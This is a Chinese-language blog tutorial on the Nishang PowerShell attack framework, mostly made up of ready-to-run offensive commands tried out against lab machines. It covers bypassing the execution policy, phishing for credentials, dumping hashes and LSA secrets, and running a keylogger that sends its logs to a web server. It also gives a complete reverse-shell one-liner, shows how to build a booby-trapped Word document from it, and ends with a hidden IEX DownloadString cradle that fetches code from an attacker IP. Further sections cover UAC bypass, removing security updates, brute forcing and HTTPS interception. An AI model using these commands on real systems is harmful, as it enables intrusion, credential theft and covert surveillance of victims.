PowerShell攻击:nishang

nishanhg
下载地址:https://github.com/samratashok/nishing
 
1.简介
nishang的使用是要在PowerShell 3.0以上的环境中才可以正常使用。也就是说win7下是有点小问题的。因为win7下自带的环境是PowerShell 2.0
 
2.环境准备
查看powershell版本
get-host 或者 $PSVersionTable.PSVersion
 
Win Server 对应的 Powershell的版本如下:
Windows 2008 R2 - Version 2
Windows 2012 - Version 3
Windows 2012 R2 - Version 4
Windows 2016 - Version 5
 
这里我们使用win 10 进行测试:
1.修改执行策略
为防止恶意脚本的运行,powershell 有一个执行策略,默认情况下该执行策略被设置为Restricted受限,而Restricted是不允许任何脚本运行的。
在powershell 脚本无法执行时,可以使用下面的cmdlet命令确定当前的执行策略。
Get-ExecutionPolicy
Restricted: 脚本不能运行(默认设置)
RemoteSigned: 本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字签名的除外)
AllSigned: 仅当脚本由受信任的发布者签名时才能运行
Unrestricted: 允许所有的script脚本运行
 
通过以下cmdlet可以设置Powershell的执行策略
Set-ExecutionPolicy <policy nmae>
在真实的攻击场景之下,我们可以通过以下几种方式Bypass执行策略:
0. Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted //设置当前用户的执行策略为Unrestricted,也算是去更改了当前的全局策略
1. powershell.exe -executionpolicy bypass -Windowstyle hidden -noninteractive -nologo -File //或是下面这种,-Windowstyle hidden 可以让我们的执行无任何弹窗
2. PowerShell.exe -ExecutionPolicy Bypass -File
 
更多Bypass姿势,可以参考Bypass执行策略的十五种方法:
 
2.加载脚本
在导入模块的时候会有警告提示,这里其实已经导入成功了,警告无需理会。
Import-Module ./nishang.psm1 # 导入模块
Get-Command -Module nishang #查看模块列表
 
3.模块及对应功能说明
4.模块使用
4.1.信息收集(Gather)
    1. Check-VM #检测当前机器是否为虚拟机
    2. Invoke-CerdentialsPhish #欺骗目标书记,输入密码
    3. Copy-VSS #利用Volume shadow Copy服务复制sam文件
    4. FireBuster FireListener #对内网扫描,打开本机监听,然后远程传输数据到FireListener
 
4.1.1 Check-VM
他是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别。
 
Get-Information
使用命令 Get-Information,可以列出本机的信息。
这个脚本可以获取目标机器上大量的信息(用户信息、FTP访问,进程,计算机配置信息,安装的软件信息、开启的windows服务信息、无线网络和设备的信息,Hosts信息等)
 
 
Invoke-CredentialsPhish
这个脚本是用来欺骗用户输入账号密码信息的,执行后会弹出登录框欺骗用户输入账号密码信息,
最流氓的是这个框是关不掉的,用户只有输入正确的账号密码这个框才会消失。
直到用户输入正确后这个框才会消失,然后我们就可以得到明文的管理员账号密码:
 
4.1.3 Copy-VSS
PS > Copy-VSS //将会直接把Sam文件保存在当前路径下
PS > Copy-VSS -DestinationDir C:\temp //指定保存sam文件的路径
 
FireBuster FireListener
FireBuster可以对内网进行扫描,本地开了监听,然后它会把包远程传送给FireListener
FireListener -PortRange 130-150
FireBuster 192.168.190.136 130-150 -Verbose
该脚本作者的Github上面还提供了一个Python版的监听端:
 
Get-LSASecret
该脚本可以获取LSA信息,但是使用的前提当然是你已经成功提升了权限的情况下,通常和我们后面提权当中涉及到的Enable-DuplicateToken(帮助我们获得System权限)联合使用。
PS > Enable-DuplicateToken
PS > Get-LsaSecret
PS > Get-LsaSecret -RegistryKey KeyName //还可以指定键名
注:该模块只支持在32位的powershell中运行。
powershell x86
 
Get-PassHashes
这个脚本在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了。
PS > Get-PassHashes -PSObjectFormat //可以使用-PSObjectFormat来格式化输出结果
 
Get-WLAN-Keys
在Administrator的权限下,可以利用这个脚本来dump出WLAN文件的密钥信息。实质上,这个脚本就是利用了netsh wlan show profile name=”” key=clear来获取。
PS > Get-WLAN-Keys
 
Keylogger
Keylogger可以保存下用户的键盘记录。
PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis //-CheckURL参数会去检查所给出的网页之中是否包含 -MagicString后的字符串,如果存在的话就停止使用记录。
PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php //将记录指定发送给一个可以记录Post请求的Web服务器
PS > .Keylogger.ps1 -persist //实现持久化记录(重启后依然进行记录)
PS > .Keylogger.ps1 //直接以这种方式来运行,键盘记录会保存在当前用户的Temp目录下key文件中
注:Keylogger模块需要进入Gather目录下才能执行
默认在Temp目录下生成Key文件,这时我们可以使用nishang Utility中的Parse_Keys来解析
PS >Parse_Keys key.log parsed.txt
然后parsed.txt里面就是解析后的按键记录了
 
Invoke-MimikatzWdigestDowngrade
Dump出Windows 8.1 and Server 2012的系统用户密码。 这里使用Server 2012进行测试。
PS >Invoke-MimikatzWDigestDowngrade
PS > Get-Job | Receive-Job
当执行完Invoke-MimikatzWDigestDowngrade计算机会自动锁屏。
dump失败
 
Get-PassHints
这个脚本可以从Windows获得用户的密码的提示信息,需要有Administrator的权限来读取SAM hive。
PS > Get-PassHints
 
屏幕窃取
Show-TargetScreen
使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。
目标机器:Show-TargetScreen -Reverse -IPAddress 192.168.190.133 -Port 1521
攻击机:netcat -nlvp 1521 | netcat -nlvp 9999
这里能够接收到源源不断的MJPEG视频流
正向连接窃取屏幕
靶机执行:Show-TargetScreen -Bind -Port 1521
攻击机执行:netcat -nv 192.168.190.147 1521 | netcat -lnvp 9999
之后同样访问本机的9999端口,就能正常访问目标机器的桌面的实时画面了。
 
Invoke-Mimikatz
Invoke-Mimikatz -DumpCerts //Dump出本机的凭证信息
Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2") //Dump出远程两台计算机的凭证信息
Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" //在远程一台机器上运行Mimikatz并执行"privilege::debug exit"
 
1.域相关脚本
Get-Unconstrained
查找域内开启了Kerberos Unconstrained Delegation的机器。
PS > Get-Unconstrained //返回开启的计算机名
PS > Get-Unconstrained -Details //返回更详细的信息
 
关于”通过Kerberos Unconstrained Delegation获取到域管理员”:
 
2.Antak Webshell
存放于Antak-WebShell目录下,就是一个ASPX的大马,但是命令行是PowerShell,比单纯的cmd强大很多。功能齐全,可以实现编码、执行脚本,上传、下载文件等等。
  1. 上传Webshell后把它当成一个正常的Powershell执行窗口来使用
  2. 上传和下载文件,只需要填写好对应路径点击上传、下载按钮即可
关于Antak Webshell的更多介绍,请参考:
Username:Disclaimer
Password:ForLegitUseOnly
web界面的powershell窗口界面
 
 
4.生成木马
nishang中包含各种木马脚本,可以用来感染各种文件,如hta、word等,用于执行powershell脚本进行隐蔽攻击。
各个脚本的使用方法基本类似,
首先设置监听 nc -nvlp 1521
接着制作word文件,打开nishang\Shells目录下的 Invoke-PowerShellTcpOneLine.ps1文件,
修改远程连接的地址,复制代码:
$client = New-Object System.Net.Sockets.TCPClient('192.168.190.133',1521);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
 
进入powershell命令行下执行如下代码:
Invoke-Encode -DataToEncode '你的代码' -IsString -PostScript
 
Invoke-Encode -DataToEncode '$client = New-Object System.Net.Sockets.TCPClient('192.168.190.133',1521);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' -IsString -PostScript
 
执行完成之后会在当前目录下生成两个文件。一个是encoded.txt 另一个是encodedcommand.txt。
之后执行Out-Word -PayloadScript .encodedcommand.txt
就可以在我们当前文件夹下生成一个名为Salary_Details.doc的doc文件。之后使用nc监听就好
说完了操作,回过头来看看命令行参数
-Payload 后面直接加payload,但是注意引号的闭合
-PayloadURL 传入远程的payload进行生成
-PayloadScript 指定本地的脚本进行生成
-Arguments 之后加要执行的函数。(payload之中有的函数)
-OutputFile 输出的文件名
-WordFileDir 输出的目录地址
-Recurse 在WordFileDir中递归寻找Word文件
-RemoveDocx 创建完成后删除掉原始的文件
 
5.权限提升
Enable-DuplicateToken
这个脚本可以帮助我们在已经获得了一定权限的情况下,使我们提升到System权限。
PS > Enable-DuplicateToken
具体的相关介绍可以查阅:
 
Remove-Update
这个脚本可以帮助我们移除系统所有的更新,或所有安全更新,以及指定编号的更新。
执行方式:
  1. PS > Remove-Update All //移除目标机器上的所有更新
  2. PS > Remove-Update Security //移除目标机器上所有安全相关更新
  3. PS > Remove-Update KB2761226 //移除指定编号的更新
 
Invoke-PsUACme
Invoke-PsUACme使用了来自于UACME项目的DLL来Bypass UAC。
上表给出了各种UAC绕过的方法,我们可以在Invoke-PsUACme中指定相应方法执行。
执行方式:
  1. PS > Invoke-PsUACme -Verbose //使用Sysprep方法和默认的Payload执行
  2. PS > Invoke-PsUACme -method oobe -Verbose //使用oobe方法和默认的Payload执行
  3. PS > Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload" //使用-Payload参数可以自行指定要执行的Payload
除开以上而外,我们还可以使用-PayloadPath参数来指定Payload的路径,默认情况下Payload会在C:WindowsTempcmd.bat结束。还可以使用-CustomDLL64(64位)或-CustomDLL32(32位)参数来自定义一个DLL文件。
 
关于Invoke-PsUACme模块的具体使用可以参考帮助信息
Get-Help Invoke-PsUACme -Full
 
 
6.扫描
Invoke-BruteForce
这个脚本可以对SQL Server、域控制器、Web以及FTP进行口令的爆破
可以使用 Get-Help Invoke-PortScan -full 查看帮助信息
 
相关链接:
http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/02/use-powershell-for-network-host-and-port-discovery-sweeps.aspx
https://github.com/samratashok/nishang
 
1.端口扫描
Invoke-PortScan
利用这个脚本我们可以在目标机器上对内网进行端口扫描
PS >Invoke-PortScan -StartAddress 192.168.190.1 -EndAddress 192.168.190.254 -ResolveHost -ScanPort -Port 80
主要的参数:
  1. StartAddress 扫描范围开始的地址
  2. EndAddress 扫描范围结束的地址
  3. ScanPort 进行端口扫描
  4. Port 指定扫描端口(默认扫描端口:21,22,23,53,69,71,80,98,110,139,111, 3389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901)
  5. TimeOut 设置超时时间
 
2.弱口令爆破
  1. 爆破域控制器
PS > Invoke-BruteForce -ComputerName targetdomain.com -UserList C:\users.txt -PasswordList C:\wordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose
  1. 爆破SQL Server
PS > Invoke-BruteForce -ComputerName SQLServ01 -UserList C:\users.txt -PasswordList C:\wordlist.txt -Service SQL -Verbose
  1. 爆破server.txt中所有servers的SQL Server
PS > cat C:\servers.txt | Invoke-BruteForce -UserList C:\users.txt -PasswordList C:\wordlist.txt -Service SQL -Verbose
主要的参数:
  1. ComputerName 用于指定对应服务的计算机名
  2. UserList 用户名字典
  3. PasswordList 密码字典
  4. Service 服务类型(注意默认为:SQL)
  5. StopOnSuccess 成功找到一个后就停止执行
 
7.中间人嗅探
Invoke-Interceptor
这个脚本可以通过建立一个代理服务器的方式来拦截HTTPS的请求,并将这些请求记录下来
PS >Invoke-Interceptor -ProxyServer 192.168.190.133 -ProxyPort 3128 //这条命令将默认在8081端口监听并把请求发送给上游代理的3128端口
可以通过ListenPort来修改我们目标机器上的监听端口(默认8081端口)
 
我们在目标机器上执行:Invoke-Interceptor -ProxyServer 192.168.190.133 -ProxyPort 9999
监听机器上执行:netcat -lvvp 9999
 
接收到了来自目标机的请求数据
并且这个脚本会在目标机的TEMP目录下生成interceptor.log的文件来记录请求数据
 
反弹
TCP的shell
正向链接:
目标:PowerShell下执行:Invoke-PowerShellTcp -Bind -Port 1521
攻击机:NC下执行:nc -nv 192.168.190.147 1521
 
反向链接:
目标:在PowerShell下执行:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.190.133 -Port 1433
攻击机:nc -lvp 1433
 
UDP的shell
正向链接:
目标:Invoke-PowerShellUdp -Bind -Port 1521
攻击机:nc -nv 192.168.190.147 1521
反向链接:
目标:在PowerShell下执行:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.190.133 -Port 1433
攻击机:nc -lvp 1433
 
HTTP/HTTPS的shell
HTTP:Invoke-PoshRatHttp -IPAddress 192.168.190.147 -Port 1521
HTTPS:Invoke-PoshRatHttps -IPAddress 192.168.12.147 -Port 1521
 
运行完命令会生成一条powershell命令,将该命令在目标机器cmd下运行本机即可获得shell
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-
Object Net.WebClient).DownloadString('http://192.168.190.147:1521/connect'))
目标机器运行完上述命令cmd会自动关闭,同时攻击机获得shell
 
参考
posted @ 2019-10-26 23:12  micr067  阅读(892)  评论(0编辑  收藏  举报